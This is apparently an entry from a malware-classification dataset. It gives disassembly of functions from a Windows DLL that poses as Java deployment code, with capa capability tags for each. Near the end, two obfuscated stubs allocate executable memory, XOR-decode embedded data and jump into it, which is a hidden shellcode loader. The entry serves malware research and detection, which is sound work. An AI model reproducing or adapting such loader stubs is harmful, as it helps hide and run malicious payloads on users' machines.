joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003260a
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x1007152d
call fcn.1003c0ab
push 0x1008197c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1003dcfa
add esp, 0xc
test eax, eax
jne 0x100326e5
push dword [ebp - 0x18]
call fcn.10042f0f
cmp dword [0x10097514], 0
pop ecx
je 0x10032665
xor eax, eax
inc eax
jmp 0x100326e7
lea eax, [ebp]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, esi
ja 0x100326e5
test eax, eax
je 0x100326e5
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.100010b1
and dword [ebp - 4], 0
push str.JavaDeployReg.log
lea ecx, [ebp - 0x14]
call fcn.100010b1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1000132e
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x100326b6
call fcn.10001238
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x100326c1
mov eax, dword [esi]
jmp 0x100326c3
xor eax, eax
push 0x10081a28
push eax
push 0x10097514
call fcn.10042f0f
add esp, 0xc
test eax, eax
je 0x1003270a
test esi, esi
je 0x100326e5
mov ecx, esi
call fcn.10001238
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1003c09c
add ebp, 0x20c
leave
ret
test esi, esi
je 0x1003265d
mov ecx, esi
call fcn.10001238
jmp 0x1003265d

Function at 0x100329b9
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10071555
call fcn.1003c0de
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10042f0f
test eax, eax
je 0x100329e4
call fcn.100329aa
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x10073fe4
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10032a3f
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.100364f7
pop ecx
pop ecx
push edi
push esi
call fcn.10042f0f
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10031721
push eax
push esi
push 0x10080964
call fcn.100364f7
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x10032a38
ret
cmp ebx, edi
je 0x10032a4a
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x10032afb
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x10032aa7
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10032a03
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x10032afb
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x10032afb
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10032a03
mov eax, esi
call fcn.1003c183
ret
Function at 0x10032e48
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f9c]
mov eax, 0x301c
call fcn.1003c230
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x2f98], eax
mov eax, dword [ebp + 0x2fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor eax, eax
mov edi, 0xffe
xor esi, esi
push edi
mov word [ebp + 0x1f98], ax
lea eax, [ebp + 0x1f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.1003c260
xor eax, eax
push edi
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.1003c260
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
push 0x10081df8
mov ebx, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10032fb0
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push esi
jmp 0x10032f9f
lea eax, [ebp + 0x1f98]
push eax
push 0x10081e50
push 0x10081dec
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.10042f0f
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10032f87
push edi
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.1003c260
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push 0x10081ea8
push dword [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10032f87
cmp dword [ebp - 0x6c], esi
jbe 0x10032f87
mov eax, dword [ebp + 0x2fa8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x80]
push eax
push esi
push 0x10081ec0
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x10032ee7
mov eax, dword [ebp - 0x74]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x10032fb6
sub eax, edx
sar eax, 1
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp + 0x2f98]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.1003c09c
add ebp, 0x2f9c
leave
ret
Function at 0x1003408f
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.1003c260
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x100340ea
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.1003c09c
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.1000faa0
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10042f0f
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.1000cddd
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.10033fad
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10042f0f
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.1000cddd
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.1003c260
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x10034184
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x10034193
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.1003402c
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.10033da9
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x100341c4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.10030fc5
add esp, 0x28
test eax, eax
jne 0x1003420d
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.10033797
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.1000cddd
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.1000cddd
mov eax, edi
pop edi
pop ebx
jmp 0x100340d4
mov edi, ebx
jmp 0x100341e8
Function at 0x1003427d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3f9c]
mov eax, 0x401c
call fcn.1003c230
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x3f98], eax
mov eax, dword [ebp + 0x3fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor esi, esi
xor eax, eax
mov ebx, 0xffe
mov dword [ebp - 0x78], esi
push ebx
mov word [ebp + 0x2f98], ax
lea eax, [ebp + 0x2f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.1003c260
xor eax, eax
push ebx
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.1003c260
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
push 0x20019
push esi
push 0x10082480
mov edi, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100343e6
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push esi
jmp 0x100343d5
lea eax, [ebp + 0x2f98]
push eax
push 0x100824d8
push 0x10082474
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.10042f0f
add esp, 0x14
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100343bd
push ebx
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.1003c260
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100343bd
cmp dword [ebp - 0x6c], esi
jbe 0x100343bd
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x10082548
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1003431f
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x1f98]
push eax
call fcn.100010b1
mov ecx, dword [ebp + 0x3f98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003c09c
add ebp, 0x3f9c
leave
ret
Function at 0x100377b8
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3fc4]
mov eax, 0x4044
call fcn.1003c230
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x3fc0], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xffe
push edi
mov word [ebp + 0x2fc0], ax
xor ebx, ebx
lea eax, [ebp + 0x2fc2]
push ebx
push eax
call fcn.1003c260
push ebx
push 1
mov esi, 0x800
lea eax, [ebp + 0x2fc0]
push esi
push eax
call fcn.10024d7d
add esp, 0x1c
test eax, eax
jne 0x1003781c
xor eax, eax
inc eax
jmp 0x10037972
lea eax, [ebp + 0x2fc0]
push eax
push str.11.241.2
call fcn.10042f0f
pop ecx
pop ecx
test eax, eax
jg 0x10037814
xor eax, eax
push edi
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push ebx
push eax
call fcn.1003c260
push ebx
lea eax, [ebp + 0x2fc0]
push eax
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.1001befb
add esp, 0x1c
test eax, eax
je 0x10037814
xor eax, eax
push edi
mov word [ebp + 0xfc0], ax
lea eax, [ebp + 0xfc2]
push ebx
push eax
call fcn.1003c260
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.10042f0f
push str._bin_ssvagent.exe
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.10042f0f
push 0x3c
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.1003c260
xor eax, eax
push edi
mov word [ebp + 0x1fc0], ax
lea eax, [ebp + 0x1fc2]
push ebx
push eax
mov dword [ebp - 0x80], 0x3c
call fcn.1003c260
push str._high__jpisetup__register
lea eax, [ebp + 0x1fc0]
push esi
push eax
call fcn.10042f0f
add esp, 0x48
call fcn.10030b79
mov dword [ebp - 0x74], str.runas
test eax, eax
jne 0x100378ed
mov dword [ebp - 0x74], str.open
lea eax, [ebp + 0xfc0]
mov dword [ebp - 0x70], eax
xor edi, edi
lea eax, [ebp + 0x2fc0]
inc edi
push eax
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x7c], 0x40
call fcn.100319af
test eax, eax
pop ecx
lea eax, [ebp + 0x1fc0]
je 0x10037921
push str.__new
jmp 0x10037926
push str.__old
push esi
push eax
call fcn.10042f0f
lea eax, [ebp + 0x1fc0]
mov dword [ebp - 0x6c], eax
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10037970
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x48], ebx
je 0x10037970
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp + 0x3fc0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003c09c
add ebp, 0x3fc4
leave
ret
Function at 0x10037c8b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xf94]
mov eax, 0x1014
call fcn.1003c230
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0xf90], eax
mov eax, dword [ebp + 0xf9c]
push esi
xor ecx, ecx
mov dword [ebp - 0x80], eax
mov word [eax], cx
lea eax, [ebp - 0x78]
push eax
push 0x20019
xor esi, esi
push esi
push 0x10084d90
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x78], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10037d8b
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], esi
push esi
jmp 0x10037d76
xor ecx, ecx
xor eax, eax
cmp dword [ebp - 0x74], esi
jbe 0x10037d64
cmp word [ebp + eax*2 - 0x70], 0x2e
jne 0x10037d10
inc ecx
cmp ecx, 1
jg 0x10037d1b
inc eax
cmp eax, dword [ebp - 0x74]
jb 0x10037d02
cmp ecx, 1
jle 0x10037d64
lea eax, [ebp - 0x70]
push 0x10084d84
push eax
call fcn.10042f0f
pop ecx
pop ecx
test eax, eax
js 0x10037d64
lea eax, [ebp - 0x70]
push eax
call fcn.10037a39
pop ecx
test al, al
je 0x10037d64
push dword [ebp - 0x80]
lea eax, [ebp - 0x70]
push eax
call fcn.10042f0f
pop ecx
pop ecx
test eax, eax
jle 0x10037d64
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xfa0]
push dword [ebp - 0x80]
call fcn.10042f0f
add esp, 0xc
inc dword [ebp - 0x7c]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], 0x800
call edi
test eax, eax
je 0x10037cf9
pop edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0xf90]
xor ecx, ebp
pop esi
call fcn.1003c09c
add ebp, 0xf94
leave
ret
Function at 0x10038056
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x10071801
call fcn.1003c0ab
and dword [ebp - 0x10], 0
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.100010b1
mov edi, dword [ebp - 0x14]
xor eax, eax
mov byte [ebp - 4], 1
test edi, edi
je 0x10038089
cmp dword [edi], eax
sete al
jmp 0x1003808a
inc eax
test al, al
je 0x10038095
push 0x10084c91
jmp 0x100380ba
test edi, edi
je 0x1003809d
mov eax, dword [edi]
jmp 0x1003809f
xor eax, eax
push eax
call fcn.10042f0f
pop ecx
test eax, eax
jne 0x100380f5
test edi, edi
je 0x100380b7
mov ecx, edi
call fcn.1001ae2b
jmp 0x100380b9
xor eax, eax
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x10038197
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.1000b23a
push eax
lea ecx, [ebp - 0x10]
call fcn.10001289
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003810a
call fcn.10001238
jmp 0x1003810a
cmp eax, 1
jne 0x10038197
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.10001289
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10038118
call fcn.1001ae2b
jmp 0x1003811a
xor eax, eax
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
push 4
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
jne 0x1003814c
test edi, edi
je 0x10038143
mov ecx, edi
call fcn.10001238
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x100381a2
jmp 0x1003819d
mov ecx, dword [esi]
mov eax, ecx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10038153
sub eax, edi
push eax
push ecx
call fcn.10042f0f
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.1000b23a
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003817b
call fcn.10001238
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10038187
call fcn.10001238
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10038193
call fcn.10001238
mov al, 1
jmp 0x100381a4
test edi, edi
je 0x100381a2
mov ecx, edi
call fcn.10001238
xor al, al
call fcn.1003c183
ret
Function at 0x10038a94
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.1003c230
push 0xffffffffffffffff
push 0x1007197f
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x10095dec]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0x100c]
xor edi, edi
mov dword [ebp - 0x18], edi
xor eax, eax
push 0xffe
mov word [ebp], ax
lea eax, [ebp + 2]
push edi
push eax
mov dword [ebp - 4], edi
call fcn.1003c260
mov eax, dword [ebp + 0x1010]
add esp, 0xc
cmp eax, edi
je 0x10038b05
mov esi, dword [eax]
jmp 0x10038b07
xor esi, esi
movzx eax, word [esi]
xor edx, edx
xor ecx, ecx
cmp ax, di
je 0x10038c2c
cmp ax, 0x2e
jne 0x10038b23
inc edx
cmp edx, 1
jg 0x10038b36
inc ecx
movzx eax, word [esi + ecx*2]
cmp ax, di
jne 0x10038b17
cmp edx, 1
jle 0x10038c2c
push 0x10085344
push esi
call fcn.10042f0f
pop ecx
pop ecx
test eax, eax
js 0x10038c2c
push esi
call fcn.10037a39
pop ecx
test al, al
je 0x10038c2c
push 0x10085360
lea ecx, [ebp - 0x14]
call fcn.100010b1
push 0x1008535c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1000b23a
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.1000132e
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
cmp ecx, edi
je 0x10038b98
call fcn.10001238
push esi
lea ecx, [ebp - 0x10]
call fcn.100010b1
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.1000132e
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
cmp ecx, edi
je 0x10038bc1
call fcn.10001238
mov esi, dword [ebp - 0x14]
cmp esi, edi
je 0x10038bcc
mov eax, dword [esi]
jmp 0x10038bce
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push edi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10038c14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
push 0x100853b8
push dword [ebp - 0x18]
mov dword [ebp - 0x10], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10038c14
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
push eax
mov ecx, ebx
call fcn.100010b1
cmp esi, edi
je 0x10038c4c
mov ecx, esi
call fcn.10001238
jmp 0x10038c4c
push str.1.3.1
push esi
call fcn.10042f0f
push esi
call fcn.10037a39
add esp, 0xc
push 0x10084c96
mov ecx, ebx
call fcn.1000b23a
mov ecx, dword [ebp + 0x1010]
cmp ecx, edi
je 0x10038c5b
call fcn.10001238
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.1003c09c
add ebp, 0x1004
leave
ret
Function at 0x1003c09c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10095dec]
jne 0x1003c0a6
repz ret
jmp fcn.1004712c

Function at 0x10042f0f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10042f1e
pop dword [ebp - 0x18]
mov eax, 0x2c609eb9
add eax, 0xe3a39065
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x4dba9
push 0
mov eax, 0xc1259957
add eax, 0x4ee18981
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x4b0f
mov esi, eax
mov edx, 0x5a9ab4f4
sub edx, 0x4a8cacf4
add edx, dword [ebp - 0x18]
mov edi, 0xdf476b86
sub dword [ebp - 0xc], ebx
mov ebx, dword [edx]
sub dword [ebp - 0xc], ebx
xor ebx, edi
sub dword [ebp - 0xc], 0x5908ad8d
mov dword [esi], ebx
sub dword [ebp - 0xc], ebx
add esi, 4
add edx, 0xfea52db6
sub edx, 0xfea52db2
loop 0x10042f71
add eax, 0x11f0f
mov ebx, eax
add eax, 0x6e2fe2ce
sub eax, 0x6e2fe2c9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x1006c4ef
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x100985ac], 0
push esi
push edi
jne 0x1006c460
call fcn.1006c3ba
test eax, eax
je 0x1006c4a5
mov eax, dword [0x100985ac]
cmp eax, 1
jne 0x1006c481
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1006c4a5
jmp 0x1006c4e7
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1006c4e7
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1006c4a9
xor eax, eax
jmp 0x1006c4e7
mov eax, dword [esi]
push dword [0x100985ac]
call edi
mov edi, eax
test edi, edi
je 0x1006c4cb
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1006c4e7
lea edi, [esi + 0xff0]
push esi
push dword [0x100985ac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1006c4d1
mov eax, esi
pop edi
pop esi
ret
jmp 0x1006c44c
Function at 0x1000dfd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000dfdf
pop dword [ebp - 0x44]
mov eax, 0x2bc19f56
sub eax, 0x1bc0bf77
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x70e1dfad
sub dword [ebp - 0x54], 0x228f9a62
mov dword [ebp - 0x50], 0x97faa98f
add dword [ebp - 0x50], 0x9a38a2b6
mov dword [ebp - 0x4c], 0xd6d24644
sub dword [ebp - 0x4c], 0x8a860216
mov dword [ebp - 0x48], 0xe40a4ce5
sub dword [ebp - 0x48], 0xe40a4ce5
lea eax, [ebp - 0x54]
push eax
mov eax, 0x9e7e4f5e
add eax, 0x7182d0e2
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5a9e6c09
sub dword [ebp - 0x54], 0xe62c02b3
mov dword [ebp - 0x50], 0x858f89b2
sub dword [ebp - 0x50], 0x4423283d
mov dword [ebp - 0x4c], 0xa655f21
add dword [ebp - 0x4c], 0x590a0d4b
mov dword [ebp - 0x48], 0x6e81384f
add dword [ebp - 0x48], 0x917ec7b1
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x87a19b75
add eax, 0x885f84cf
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x37047
push 0
call eax
mov ecx, 0x3d23
mov edi, eax
mov ebx, 0x1001b000
add ebx, dword [ebp - 0x44]
mov esi, 0xfa99806c
add esi, 0x27fcb074
sub dword [ebp - 0x38], edi
mov edx, dword [ebx]
xor dword [ebp - 0x14], edx
xor edx, esi
sub dword [ebp - 0x14], 0x7a99bec3
mov dword [edi], edx
xor dword [ebp - 0x28], edi
add edi, 4
add ebx, 0x3c7dfc02
add ebx, 0xc3820402
loop 0x1000e0f5
add eax, 0xe75f
mov ebx, eax
add eax, 5
mov ecx, 0xcb924184
add ecx, 0x446dbe7c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret